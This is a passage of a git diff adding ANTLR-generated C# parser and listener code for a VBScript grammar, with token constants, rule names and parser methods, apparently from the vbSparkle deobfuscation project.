The parse tree. + void EnterArgList([NotNull] VBScriptParser.ArgListContext context); + /// + /// Exit a parse tree produced by . + /// + /// The parse tree. + void ExitArgList([NotNull] VBScriptParser.ArgListContext context); + /// + /// Enter a parse tree produced by . + /// + /// The parse tree. + void EnterArg([NotNull] VBScriptParser.ArgContext context); + /// + /// Exit a parse tree produced by . + /// + /// The parse tree. + void ExitArg([NotNull] VBScriptParser.ArgContext context); + /// + /// Enter a parse tree produced by . + /// + /// The parse tree. + void EnterArgDefaultValue([NotNull] VBScriptParser.ArgDefaultValueContext context); + /// + /// Exit a parse tree produced by . + /// + /// The parse tree. + void ExitArgDefaultValue([NotNull] VBScriptParser.ArgDefaultValueContext context); + /// + /// Enter a parse tree produced by . + /// + /// The parse tree. + void EnterSubscripts([NotNull] VBScriptParser.SubscriptsContext context); + /// + /// Exit a parse tree produced by . + /// + /// The parse tree. + void ExitSubscripts([NotNull] VBScriptParser.SubscriptsContext context); + /// + /// Enter a parse tree produced by . + /// + /// The parse tree. + void EnterSubscript([NotNull] VBScriptParser.SubscriptContext context); + /// + /// Exit a parse tree produced by . + /// + /// The parse tree. + void ExitSubscript([NotNull] VBScriptParser.SubscriptContext context); + /// + /// Enter a parse tree produced by . + /// + /// The parse tree. + void EnterAmbiguousIdentifier([NotNull] VBScriptParser.AmbiguousIdentifierContext context); + /// + /// Exit a parse tree produced by . + /// + /// The parse tree. + void ExitAmbiguousIdentifier([NotNull] VBScriptParser.AmbiguousIdentifierContext context); + /// + /// Enter a parse tree produced by . + /// + /// The parse tree. + void EnterAsTypeClause([NotNull] VBScriptParser.AsTypeClauseContext context); + /// + /// Exit a parse tree produced by . + /// + /// The parse tree. + void ExitAsTypeClause([NotNull] VBScriptParser.AsTypeClauseContext context); + /// + /// Enter a parse tree produced by . + /// + /// The parse tree. + void EnterBaseType([NotNull] VBScriptParser.BaseTypeContext context); + /// + /// Exit a parse tree produced by . + /// + /// The parse tree. + void ExitBaseType([NotNull] VBScriptParser.BaseTypeContext context); + /// + /// Enter a parse tree produced by . + /// + /// The parse tree. + void EnterCertainIdentifier([NotNull] VBScriptParser.CertainIdentifierContext context); + /// + /// Exit a parse tree produced by . + /// + /// The parse tree. + void ExitCertainIdentifier([NotNull] VBScriptParser.CertainIdentifierContext context); + /// + /// Enter a parse tree produced by . + /// + /// The parse tree. + void EnterComparisonOperator([NotNull] VBScriptParser.ComparisonOperatorContext context); + /// + /// Exit a parse tree produced by . + /// + /// The parse tree. + void ExitComparisonOperator([NotNull] VBScriptParser.ComparisonOperatorContext context); + /// + /// Enter a parse tree produced by . + /// + /// The parse tree. + void EnterComplexType([NotNull] VBScriptParser.ComplexTypeContext context); + /// + /// Exit a parse tree produced by . + /// + /// The parse tree. + void ExitComplexType([NotNull] VBScriptParser.ComplexTypeContext context); + /// + /// Enter a parse tree produced by . + /// + /// The parse tree. + void EnterFieldLength([NotNull] VBScriptParser.FieldLengthContext context); + /// + /// Exit a parse tree produced by . + /// + /// The parse tree. + void ExitFieldLength([NotNull] VBScriptParser.FieldLengthContext context); + /// + /// Enter a parse tree produced by . + /// + /// The parse tree. + void EnterLetterrange([NotNull] VBScriptParser.LetterrangeContext context); + /// + /// Exit a parse tree produced by . + /// + /// The parse tree. + void ExitLetterrange([NotNull] VBScriptParser.LetterrangeContext context); + /// + /// Enter a parse tree produced by the ltColor + /// labeled alternative in . + /// + /// The parse tree. + void EnterLtColor([NotNull] VBScriptParser.LtColorContext context); + /// + /// Exit a parse tree produced by the ltColor + /// labeled alternative in . + /// + /// The parse tree. + void ExitLtColor([NotNull] VBScriptParser.LtColorContext context); + /// + /// Enter a parse tree produced by the ltOctal + /// labeled alternative in . + /// + /// The parse tree. + void EnterLtOctal([NotNull] VBScriptParser.LtOctalContext context); + /// + /// Exit a parse tree produced by the ltOctal + /// labeled alternative in . + /// + /// The parse tree. + void ExitLtOctal([NotNull] VBScriptParser.LtOctalContext context); + /// + /// Enter a parse tree produced by the ltDate + /// labeled alternative in . + /// + /// The parse tree. + void EnterLtDate([NotNull] VBScriptParser.LtDateContext context); + /// + /// Exit a parse tree produced by the ltDate + /// labeled alternative in . + /// + /// The parse tree. + void ExitLtDate([NotNull] VBScriptParser.LtDateContext context); + /// + /// Enter a parse tree produced by the ltString + /// labeled alternative in . + /// + /// The parse tree. + void EnterLtString([NotNull] VBScriptParser.LtStringContext context); + /// + /// Exit a parse tree produced by the ltString + /// labeled alternative in . + /// + /// The parse tree. + void ExitLtString([NotNull] VBScriptParser.LtStringContext context); + /// + /// Enter a parse tree produced by the ltDouble + /// labeled alternative in . + /// + /// The parse tree. + void EnterLtDouble([NotNull] VBScriptParser.LtDoubleContext context); + /// + /// Exit a parse tree produced by the ltDouble + /// labeled alternative in . + /// + /// The parse tree. + void ExitLtDouble([NotNull] VBScriptParser.LtDoubleContext context); + /// + /// Enter a parse tree produced by the ltDelimited + /// labeled alternative in . + /// + /// The parse tree. + void EnterLtDelimited([NotNull] VBScriptParser.LtDelimitedContext context); + /// + /// Exit a parse tree produced by the ltDelimited + /// labeled alternative in . + /// + /// The parse tree. + void ExitLtDelimited([NotNull] VBScriptParser.LtDelimitedContext context); + /// + /// Enter a parse tree produced by the ltFilenumber + /// labeled alternative in . + /// + /// The parse tree. + void EnterLtFilenumber([NotNull] VBScriptParser.LtFilenumberContext context); + /// + /// Exit a parse tree produced by the ltFilenumber + /// labeled alternative in . + /// + /// The parse tree. + void ExitLtFilenumber([NotNull] VBScriptParser.LtFilenumberContext context); + /// + /// Enter a parse tree produced by the ltInteger + /// labeled alternative in . + /// + /// The parse tree. + void EnterLtInteger([NotNull] VBScriptParser.LtIntegerContext context); + /// + /// Exit a parse tree produced by the ltInteger + /// labeled alternative in . + /// + /// The parse tree. + void ExitLtInteger([NotNull] VBScriptParser.LtIntegerContext context); + /// + /// Enter a parse tree produced by the ltBoolean + /// labeled alternative in . + /// + /// The parse tree. + void EnterLtBoolean([NotNull] VBScriptParser.LtBooleanContext context); + /// + /// Exit a parse tree produced by the ltBoolean + /// labeled alternative in . + /// + /// The parse tree. + void ExitLtBoolean([NotNull] VBScriptParser.LtBooleanContext context); + /// + /// Enter a parse tree produced by the ltNothing + /// labeled alternative in . + /// + /// The parse tree. + void EnterLtNothing([NotNull] VBScriptParser.LtNothingContext context); + /// + /// Exit a parse tree produced by the ltNothing + /// labeled alternative in . + /// + /// The parse tree. + void ExitLtNothing([NotNull] VBScriptParser.LtNothingContext context); + /// + /// Enter a parse tree produced by the ltNull + /// labeled alternative in . + /// + /// The parse tree. + void EnterLtNull([NotNull] VBScriptParser.LtNullContext context); + /// + /// Exit a parse tree produced by the ltNull + /// labeled alternative in . + /// + /// The parse tree. + void ExitLtNull([NotNull] VBScriptParser.LtNullContext context); + /// + /// Enter a parse tree produced by . + /// + /// The parse tree. + void EnterPublicPrivateVisibility([NotNull] VBScriptParser.PublicPrivateVisibilityContext context); + /// + /// Exit a parse tree produced by . + /// + /// The parse tree. + void ExitPublicPrivateVisibility([NotNull] VBScriptParser.PublicPrivateVisibilityContext context); + /// + /// Enter a parse tree produced by . + /// + /// The parse tree. + void EnterPublicPrivateGlobalVisibility([NotNull] VBScriptParser.PublicPrivateGlobalVisibilityContext context); + /// + /// Exit a parse tree produced by . + /// + /// The parse tree. + void ExitPublicPrivateGlobalVisibility([NotNull] VBScriptParser.PublicPrivateGlobalVisibilityContext context); + /// + /// Enter a parse tree produced by . + /// + /// The parse tree. + void EnterType([NotNull] VBScriptParser.TypeContext context); + /// + /// Exit a parse tree produced by . + /// + /// The parse tree. + void ExitType([NotNull] VBScriptParser.TypeContext context); + /// + /// Enter a parse tree produced by . + /// + /// The parse tree. + void EnterTypeHint([NotNull] VBScriptParser.TypeHintContext context); + /// + /// Exit a parse tree produced by . + /// + /// The parse tree. + void ExitTypeHint([NotNull] VBScriptParser.TypeHintContext context); + /// + /// Enter a parse tree produced by . + /// + /// The parse tree. + void EnterVisibility([NotNull] VBScriptParser.VisibilityContext context); + /// + /// Exit a parse tree produced by . + /// + /// The parse tree. + void ExitVisibility([NotNull] VBScriptParser.VisibilityContext context); + /// + /// Enter a parse tree produced by . + /// + /// The parse tree. + void EnterAmbiguousKeyword([NotNull] VBScriptParser.AmbiguousKeywordContext context); + /// + /// Exit a parse tree produced by . + /// + /// The parse tree. + void ExitAmbiguousKeyword([NotNull] VBScriptParser.AmbiguousKeywordContext context); +} diff --git a/Sources/vbSparkle/VBScriptParser.cs b/Sources/vbSparkle/VBScriptParser.cs new file mode 100644 index 0000000..8a4b53a --- /dev/null +++ b/Sources/vbSparkle/VBScriptParser.cs @@ -0,0 +1,21674 @@ +//------------------------------------------------------------------------------ +// +// This code was generated by a tool. +// ANTLR Version: 4.13.1 +// +// Changes to this file may cause incorrect behavior and will be lost if +// the code is regenerated. +// +//------------------------------------------------------------------------------ + +// Generated from VBScript.g4 by ANTLR 4.13.1 + +// Unreachable code detected +#pragma warning disable 0162 +// The variable '...' is assigned but its value is never used +#pragma warning disable 0219 +// Missing XML comment for publicly visible type or member '...' +#pragma warning disable 1591 +// Ambiguous reference in cref attribute +#pragma warning disable 419 + +using System; +using System.IO; +using System.Text; +using System.Diagnostics; +using System.Collections.Generic; +using Antlr4.Runtime; +using Antlr4.Runtime.Atn; +using Antlr4.Runtime.Misc; +using Antlr4.Runtime.Tree; +using DFA = Antlr4.Runtime.Dfa.DFA; + +[System.CodeDom.Compiler.GeneratedCode("ANTLR", "4.13.1")] +[System.CLSCompliant(false)] +public partial class VBScriptParser : Parser { + protected static DFA[] decisionToDFA; + protected static PredictionContextCache sharedContextCache = new PredictionContextCache(); + public const int + ACCESS=1, ADDRESSOF=2, ALIAS=3, AND=4, ATTRIBUTE=5, APPACTIVATE=6, APPEND=7, + AS=8, BEEP=9, BEGIN=10, BEGINPROPERTY=11, BINARY=12, BOOLEAN=13, BYVAL=14, + BYREF=15, BYTE=16, CALL=17, CASE=18, CHDIR=19, CHDRIVE=20, CLASS=21, CLOSE=22, + COLLECTION=23, CONST=24, DATE=25, PTRSAFE=26, DECLARE=27, DEFBOOL=28, + DEFBYTE=29, DEFDATE=30, DEFDBL=31, DEFDEC=32, DEFCUR=33, DEFINT=34, DEFLNG=35, + DEFOBJ=36, DEFSNG=37, DEFSTR=38, DEFVAR=39, DELETESETTING=40, DIM=41, + DO=42, DOUBLE=43, EACH=44, ELSE=45, ELSEIF=46, END_ENUM=47, END_CLASS=48, + END_FUNCTION=49, END_IF=50, END_PROPERTY=51, END_SELECT=52, END_SUB=53, + END_TYPE=54, END_WITH=55, END=56, ENDPROPERTY=57, ENUM=58, EQV=59, ERASE=60, + ERROR=61, EVENT=62, EXIT_DO=63, EXIT_FOR=64, EXIT_FUNCTION=65, EXIT_PROPERTY=66, + EXIT_SUB=67, FALSE=68, FILECOPY=69, FRIEND=70, FOR=71, FUNCTION=72, GET=73, + GLOBAL=74, GOSUB=75, GOTO=76, IF=77, IMP=78, IMPLEMENTS=79, IN=80, INPUT=81, + IS=82, INTEGER=83, KILL=84, LOAD=85, LOCK=86, LONG=87, LOOP=88, LEN=89, + LET=90, LIB=91, LIKE=92, LINE_INPUT=93, LOCK_READ=94, LOCK_WRITE=95, LOCK_READ_WRITE=96, + LSET=97, MACRO_IF=98, MACRO_ELSEIF=99, MACRO_ELSE=100, MACRO_END_IF=101, + ME=102, MID=103, MKDIR=104, MOD=105, NAME=106, NEXT=107, NEW=108, NOT=109, + NOTHING=110, NULL=111, OBJECT=112, ON=113, ON_ERROR=114, ON_LOCAL_ERROR=115, + OPEN=116, OPTIONAL=117, OPTION_BASE=118, OPTION_EXPLICIT=119, OPTION_COMPARE=120, + OPTION_PRIVATE_MODULE=121, OR=122, OUTPUT=123, PARAMARRAY=124, PRESERVE=125, + PRINT=126, PRIVATE=127, PROPERTY_GET=128, PROPERTY_LET=129, PROPERTY_SET=130, + PUBLIC=131, PUT=132, RANDOM=133, RANDOMIZE=134, RAISEEVENT=135, READ=136, + READ_WRITE=137, REDIM=138, REM=139, RESET=140, RESUME=141, RETURN=142, + RMDIR=143, RSET=144, SAVEPICTURE=145, SAVESETTING=146, SEEK=147, SELECT=148, + SENDKEYS=149, SET=150, SETATTR=151, SHARED=152, SINGLE=153, SPC=154, STATIC=155, + DEFAULT=156, STEP=157, STOP=158, STRING=159, SUB=160, TAB=161, TEXT=162, + THEN=163, TIME=164, TO=165, TRUE=166, TYPE=167, TYPEOF=168, UNLOAD=169, + UNLOCK=170, UNTIL=171, VARIANT=172, VERSION=173, WEND=174, WHILE=175, + WIDTH=176, WITH=177, WITHEVENTS=178, WRITE=179, XOR=180, AMPERSAND=181, + ASSIGN=182, AT=183, COMMA=184, DIV=185, DOLLAR=186, DOT=187, EQ=188, EXCLAMATIONMARK=189, + GEQ=190, GT=191, HASH=192, LEQ=193, LBRACE=194, LPAREN=195, LT=196, MINUS=197, + MINUS_EQ=198, MULT=199, NEQ=200, PERCENT=201, PLUS=202, PLUS_EQ=203, POW=204, + RBRACE=205, RPAREN=206, SEMICOLON=207, L_SQUARE_BRACKET=208, R_SQUARE_BRACKET=209, + STRINGLITERAL=210, DATELITERAL=211, HEXLITERAL=212, INTEGERLITERAL=213, + DOUBLELITERAL=214, FILENUMBER=215, OCTALLITERAL=216, GUID=217, IDENTIFIER=218, + NEWLINE=219, INLINE_SEP=220, INLN=221, COMMENT=222, WS=223, LINE_CONTINUATION=224; + public const int + RULE_startRule = 0, RULE_module = 1, RULE_moduleReferences = 2, RULE_moduleReference = 3, + RULE_moduleReferenceValue = 4, RULE_moduleReferenceComponent = 5, RULE_moduleHeader = 6, + RULE_moduleConfig = 7, RULE_moduleConfigElement = 8, RULE_moduleAttributes = 9, + RULE_moduleOptions = 10, RULE_moduleOption = 11, RULE_moduleBody = 12, + RULE_moduleBodyElement = 13, RULE_controlProperties = 14, RULE_cp_Properties = 15, + RULE_cp_PropertyName = 16, RULE_cp_PropertyValue = 17, RULE_cp_NestedProperty = 18, + RULE_cp_ControlType = 19, RULE_cp_ControlIdentifier = 20, RULE_blockSwitch = 21, + RULE_block = 22, RULE_moduleBlock = 23, RULE_attributeStmt = 24, RULE_lineLabel = 25, + RULE_inlineBlock = 26, RULE_inlineBlockStmt = 27, RULE_blockStmt = 28, + RULE_appActivateStmt = 29, RULE_beepStmt = 30, RULE_chDirStmt = 31, RULE_chDriveStmt = 32, + RULE_closeStmt = 33, RULE_constStmt = 34, RULE_constSubStmt = 35, RULE_dateStmt = 36, + RULE_declareStmt = 37, RULE_deftypeStmt = 38, RULE_deleteSettingStmt = 39, + RULE_doLoopStmt = 40, RULE_endStmt = 41, RULE_enumerationStmt = 42, RULE_classStmt = 43, + RULE_enumerationStmt_Constant = 44, RULE_eraseStmt = 45, RULE_errorStmt = 46, + RULE_eventStmt = 47, RULE_exitStmt = 48, RULE_filecopyStmt = 49, RULE_forEachStmt = 50, + RULE_forNextStmt = 51, RULE_functionStmt = 52, RULE_getStmt = 53, RULE_goSubStmt = 54, + RULE_goToStmt = 55, RULE_ifThenElseStmt = 56, RULE_inlineIfThenElseStmt = 57, + RULE_inlineIfBlockStmt = 58, RULE_inlineElseBlockStmt = 59, RULE_ifBlockStmt = 60, + RULE_ifConditionStmt = 61, RULE_ifElseIfBlockStmt = 62, RULE_ifElseBlockStmt = 63, + RULE_implementsStmt = 64, RULE_inputStmt = 65, RULE_killStmt = 66, RULE_midStmt = 67, + RULE_letStmt = 68, RULE_lineInputStmt = 69, RULE_loadStmt = 70, RULE_lockStmt = 71, + RULE_lsetStmt = 72, RULE_macroIfThenElseStmt = 73, RULE_macroIfBlockStmt = 74, + RULE_macroElseIfBlockStmt = 75, RULE_macroElseBlockStmt = 76, RULE_mkdirStmt = 77, + RULE_nameStmt = 78, RULE_onErrorStmt = 79, RULE_onGoToStmt = 80, RULE_onGoSubStmt = 81, + RULE_openStmt = 82, RULE_outputList = 83, RULE_outputList_Expression = 84, + RULE_printStmt = 85, RULE_propertyGetStmt = 86, RULE_propertySetStmt = 87, + RULE_propertyLetStmt = 88, RULE_putStmt = 89, RULE_raiseEventStmt = 90, + RULE_randomizeStmt = 91, RULE_redimStmt = 92, RULE_redimSubStmt = 93, + RULE_resetStmt = 94, RULE_resumeStmt = 95, RULE_returnStmt = 96, RULE_rmdirStmt = 97, + RULE_rsetStmt = 98, RULE_savepictureStmt = 99, RULE_saveSettingStmt = 100, + RULE_seekStmt = 101, RULE_selectCaseStmt = 102, RULE_sC_Case = 103, RULE_sC_Cond = 104, + RULE_sC_CondExpr = 105, RULE_sendkeysStmt = 106, RULE_setattrStmt = 107, + RULE_setStmt = 108, RULE_stopStmt = 109, RULE_subStmt = 110, RULE_timeStmt = 111, + RULE_typeStmt = 112, RULE_typeStmt_Element = 113, RULE_typeOfStmt = 114, + RULE_unloadStmt = 115, RULE_unlockStmt = 116, RULE_valueStmt = 117, RULE_variableStmt = 118, + RULE_variableListStmt = 119, RULE_variableSubStmt = 120, RULE_whileWendStmt = 121, + RULE_widthStmt = 122, RULE_withStmt = 123, RULE_writeStmt = 124, RULE_explicitCallStmt = 125, + RULE_eCS_ProcedureCall = 126, RULE_eCS_MemberProcedureCall = 127, RULE_implicitCallStmt_InBlock = 128, + RULE_noParenthesisArgs = 129, RULE_iCS_B_ProcedureCall = 130, RULE_iCS_B_MemberProcedureCall = 131, + RULE_implicitCallStmt_InStmt = 132, RULE_iCS_S_VariableOrProcedureCall = 133, + RULE_iCS_S_ProcedureOrArrayCall = 134, RULE_iCS_S_NestedProcedureCall = 135, + RULE_iCS_S_MembersCall = 136, RULE_iCS_S_MemberCall = 137, RULE_iCS_S_DefaultMemberAccess = 138, + RULE_argsCall = 139, RULE_argCall = 140, RULE_defaultMemberAccess = 141, + RULE_argList = 142, RULE_arg = 143, RULE_argDefaultValue = 144, RULE_subscripts = 145, + RULE_subscript = 146, RULE_ambiguousIdentifier = 147, RULE_asTypeClause = 148, + RULE_baseType = 149, RULE_certainIdentifier = 150, RULE_comparisonOperator = 151, + RULE_complexType = 152, RULE_fieldLength = 153, RULE_letterrange = 154, + RULE_delimitedLiteral = 155, RULE_literal = 156, RULE_publicPrivateVisibility = 157, + RULE_publicPrivateGlobalVisibility = 158, RULE_type = 159, RULE_typeHint = 160, + RULE_visibility = 161, RULE_ambiguousKeyword = 162; + public static readonly string[] ruleNames = { + "startRule", "module", "moduleReferences", "moduleReference", "moduleReferenceValue", + "moduleReferenceComponent", "moduleHeader", "moduleConfig", "moduleConfigElement", + "moduleAttributes", "moduleOptions", "moduleOption", "moduleBody", "moduleBodyElement", + "controlProperties", "cp_Properties", "cp_PropertyName", "cp_PropertyValue", + "cp_NestedProperty", "cp_ControlType", "cp_ControlIdentifier", "blockSwitch", + "block", "moduleBlock", "attributeStmt", "lineLabel", "inlineBlock", "inlineBlockStmt", + "blockStmt", "appActivateStmt", "beepStmt", "chDirStmt", "chDriveStmt", + "closeStmt", "constStmt", "constSubStmt", "dateStmt", "declareStmt", "deftypeStmt", + "deleteSettingStmt", "doLoopStmt", "endStmt", "enumerationStmt", "classStmt", + "enumerationStmt_Constant", "eraseStmt", "errorStmt", "eventStmt", "exitStmt", + "filecopyStmt", "forEachStmt", "forNextStmt", "functionStmt", "getStmt", + "goSubStmt", "goToStmt", "ifThenElseStmt", "inlineIfThenElseStmt", "inlineIfBlockStmt", + "inlineElseBlockStmt", "ifBlockStmt", "ifConditionStmt", "ifElseIfBlockStmt", + "ifElseBlockStmt", "implementsStmt", "inputStmt", "killStmt", "midStmt", + "letStmt", "lineInputStmt", "loadStmt", "lockStmt", "lsetStmt", "macroIfThenElseStmt", + "macroIfBlockStmt", "macroElseIfBlockStmt", "macroElseBlockStmt", "mkdirStmt", + "nameStmt", "onErrorStmt", "onGoToStmt", "onGoSubStmt", "openStmt", "outputList", + "outputList_Expression", "printStmt", "propertyGetStmt", "propertySetStmt", + "propertyLetStmt", "putStmt", "raiseEventStmt", "randomizeStmt", "redimStmt", + "redimSubStmt", "resetStmt", "resumeStmt", "returnStmt", "rmdirStmt", + "rsetStmt", "savepictureStmt", "saveSettingStmt", "seekStmt", "selectCaseStmt", + "sC_Case", "sC_Cond", "sC_CondExpr", "sendkeysStmt", "setattrStmt", "setStmt", + "stopStmt", "subStmt", "timeStmt", "typeStmt", "typeStmt_Element", "typeOfStmt", + "unloadStmt", "unlockStmt", "valueStmt", "variableStmt", "variableListStmt", + "variableSubStmt", "whileWendStmt", "widthStmt", "withStmt", "writeStmt", + "explicitCallStmt", "eCS_ProcedureCall", "eCS_MemberProcedureCall", "implicitCallStmt_InBlock", + "noParenthesisArgs", "iCS_B_ProcedureCall", "iCS_B_MemberProcedureCall", + "implicitCallStmt_InStmt", "iCS_S_VariableOrProcedureCall", "iCS_S_ProcedureOrArrayCall", + "iCS_S_NestedProcedureCall", "iCS_S_MembersCall", "iCS_S_MemberCall", + "iCS_S_DefaultMemberAccess", "argsCall", "argCall", "defaultMemberAccess", + "argList", "arg", "argDefaultValue", "subscripts", "subscript", "ambiguousIdentifier", + "asTypeClause", "baseType", "certainIdentifier", "comparisonOperator", + "complexType", "fieldLength", "letterrange", "delimitedLiteral", "literal", + "publicPrivateVisibility", "publicPrivateGlobalVisibility", "type", "typeHint", + "visibility", "ambiguousKeyword" + }; + + private static readonly string[] _LiteralNames = { + null, null, null, null, null, null, null, null, null, null, null, null, + null, null, null, null, null, null, null, null, null, null, null, null, + null, null, null, null, null, null, null, null, null, null, null, null, + null, null, null, null, null, null, null, null, null, null, null, null, + null, null, null, null, null, null, null, null, null, null, null, null, + null, null, null, null, null, null, null, null, null, null, null, null, + null, null, null, null, null, null, null, null, null, null, null, null, + null, null, null, null, null, null, null, null, null, null, null, null, + null, null, null, null, null, null, null, null, null, null, null, null, + null, null, null, null, null, null, null, null, null, null, null, null, + null, null, null, null, null, null, null, null, null, null, null, null, + null, null, null, null, null, null, null, null, null, null, null, null, + null, null, null, null, null, null, null, null, null, null, null, null, + null, null, null, null, null, null, null, null, null, null, null, null, + null, null, null, null, null, null, null, null, null, null, null, null, + null, "'&'", "':='", "'@'", "','", null, "'$'", "'.'", "'='", "'!'", "'>='", + "'>'", "'#'", "'<='", "'{'", "'('", "'<'", "'-'", "'-='", "'*'", "'<>'", + "'%'", "'+'", "'+='", "'^'", "'}'", "')'", "';'", "'['", "']'", null, + null, null, null, null, null, null, null, null, null, null, "':'" + }; + private static readonly string[] _SymbolicNames = { + null, "ACCESS", "ADDRESSOF", "ALIAS", "AND", "ATTRIBUTE", "APPACTIVATE", + "APPEND", "AS", "BEEP", "BEGIN", "BEGINPROPERTY", "BINARY", "BOOLEAN", + "BYVAL", "BYREF", "BYTE", "CALL", "CASE", "CHDIR", "CHDRIVE", "CLASS", + "CLOSE", "COLLECTION", "CONST", "DATE", "PTRSAFE", "DECLARE", "DEFBOOL", + "DEFBYTE", "DEFDATE", "DEFDBL", "DEFDEC", "DEFCUR", "DEFINT", "DEFLNG", + "DEFOBJ", "DEFSNG", "DEFSTR", "DEFVAR", "DELETESETTING", "DIM", "DO", + "DOUBLE", "EACH", "ELSE", "ELSEIF", "END_ENUM", "END_CLASS", "END_FUNCTION", + "END_IF", "END_PROPERTY", "END_SELECT", "END_SUB", "END_TYPE", "END_WITH", + "END", "ENDPROPERTY", "ENUM", "EQV", "ERASE", "ERROR", "EVENT", "EXIT_DO", + "EXIT_FOR", "EXIT_FUNCTION", "EXIT_PROPERTY", "EXIT_SUB", "FALSE", "FILECOPY", + "FRIEND", "FOR", "FUNCTION", "GET", "GLOBAL", "GOSUB", "GOTO", "IF", "IMP", + "IMPLEMENTS", "IN", "INPUT", "IS", "INTEGER", "KILL", "LOAD", "LOCK", + "LONG", "LOOP", "LEN", "LET", "LIB", "LIKE", "LINE_INPUT", "LOCK_READ", + "LOCK_WRITE", "LOCK_READ_WRITE", "LSET", "MACRO_IF", "MACRO_ELSEIF", "MACRO_ELSE", + "MACRO_END_IF", "ME", "MID", "MKDIR", "MOD", "NAME", "NEXT", "NEW", "NOT", + "NOTHING", "NULL", "OBJECT", "ON", "ON_ERROR", "ON_LOCAL_ERROR", "OPEN", + "OPTIONAL", "OPTION_BASE", "OPTION_EXPLICIT", "OPTION_COMPARE", "OPTION_PRIVATE_MODULE", + "OR", "OUTPUT", "PARAMARRAY", "PRESERVE", "PRINT", "PRIVATE", "PROPERTY_GET", + "PROPERTY_LET", "PROPERTY_SET", "PUBLIC", "PUT", "RANDOM", "RANDOMIZE", + "RAISEEVENT", "READ", "READ_WRITE", "REDIM", "REM", "RESET", "RESUME", + "RETURN", "RMDIR", "RSET", "SAVEPICTURE", "SAVESETTING", "SEEK", "SELECT", + "SENDKEYS", "SET", "SETATTR", "SHARED", "SINGLE", "SPC", "STATIC", "DEFAULT", + "STEP", "STOP", "STRING", "SUB", "TAB", "TEXT", "THEN", "TIME", "TO", + "TRUE", "TYPE", "TYPEOF", "UNLOAD", "UNLOCK", "UNTIL", "VARIANT", "VERSION", + "WEND", "WHILE", "WIDTH", "WITH", "WITHEVENTS", "WRITE", "XOR", "AMPERSAND", + "ASSIGN", "AT", "COMMA", "DIV", "DOLLAR", "DOT", "EQ", "EXCLAMATIONMARK", + "GEQ", "GT", "HASH", "LEQ", "LBRACE", "LPAREN", "LT", "MINUS", "MINUS_EQ", + "MULT", "NEQ", "PERCENT", "PLUS", "PLUS_EQ", "POW", "RBRACE", "RPAREN", + "SEMICOLON", "L_SQUARE_BRACKET", "R_SQUARE_BRACKET", "STRINGLITERAL", + "DATELITERAL", "HEXLITERAL", "INTEGERLITERAL", "DOUBLELITERAL", "FILENUMBER", + "OCTALLITERAL", "GUID", "IDENTIFIER", "NEWLINE", "INLINE_SEP", "INLN", + "COMMENT", "WS", "LINE_CONTINUATION" + }; + public static readonly IVocabulary DefaultVocabulary = new Vocabulary(_LiteralNames, _SymbolicNames); + + [NotNull] + public override IVocabulary Vocabulary + { + get + { + return DefaultVocabulary; + } + } + + public override string GrammarFileName { get { return "VBScript.g4"; } } + + public override string[] RuleNames { get { return ruleNames; } } + + public override int[] SerializedAtn { get { return _serializedATN; } } + + static VBScriptParser() { + decisionToDFA = new DFA[_ATN.NumberOfDecisions]; + for (int i = 0; i < _ATN.NumberOfDecisions; i++) { + decisionToDFA[i] = new DFA(_ATN.GetDecisionState(i), i); + } + } + + public VBScriptParser(ITokenStream input) : this(input, Console.Out, Console.Error) { } + + public VBScriptParser(ITokenStream input, TextWriter output, TextWriter errorOutput) + : base(input, output, errorOutput) + { + Interpreter = new ParserATNSimulator(this, _ATN, decisionToDFA, sharedContextCache); + } + + public partial class StartRuleContext : ParserRuleContext { + [System.Diagnostics.DebuggerNonUserCode] public ModuleContext module() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode Eof() { return GetToken(VBScriptParser.Eof, 0); } + public StartRuleContext(ParserRuleContext parent, int invokingState) + : base(parent, invokingState) + { + } + public override int RuleIndex { get { return RULE_startRule; } } + [System.Diagnostics.DebuggerNonUserCode] + public override void EnterRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.EnterStartRule(this); + } + [System.Diagnostics.DebuggerNonUserCode] + public override void ExitRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.ExitStartRule(this); + } + } + + [RuleVersion(0)] + public StartRuleContext startRule() { + StartRuleContext _localctx = new StartRuleContext(Context, State); + EnterRule(_localctx, 0, RULE_startRule); + try { + EnterOuterAlt(_localctx, 1); + { + State = 326; + module(); + State = 327; + Match(Eof); + } + } + catch (RecognitionException re) { + _localctx.exception = re; + ErrorHandler.ReportError(this, re); + ErrorHandler.Recover(this, re); + } + finally { + ExitRule(); + } + return _localctx; + } + + public partial class ModuleContext : ParserRuleContext { + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode[] WS() { return GetTokens(VBScriptParser.WS); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode WS(int i) { + return GetToken(VBScriptParser.WS, i); + } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode[] NEWLINE() { return GetTokens(VBScriptParser.NEWLINE); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode NEWLINE(int i) { + return GetToken(VBScriptParser.NEWLINE, i); + } + [System.Diagnostics.DebuggerNonUserCode] public ModuleHeaderContext moduleHeader() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public ModuleReferencesContext moduleReferences() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public ControlPropertiesContext controlProperties() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public ModuleConfigContext moduleConfig() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public ModuleAttributesContext moduleAttributes() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public ModuleOptionsContext moduleOptions() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public ModuleBodyContext moduleBody() { + return GetRuleContext(0); + } + public ModuleContext(ParserRuleContext parent, int invokingState) + : base(parent, invokingState) + { + } + public override int RuleIndex { get { return RULE_module; } } + [System.Diagnostics.DebuggerNonUserCode] + public override void EnterRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.EnterModule(this); + } + [System.Diagnostics.DebuggerNonUserCode] + public override void ExitRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.ExitModule(this); + } + } + + [RuleVersion(0)] + public ModuleContext module() { + ModuleContext _localctx = new ModuleContext(Context, State); + 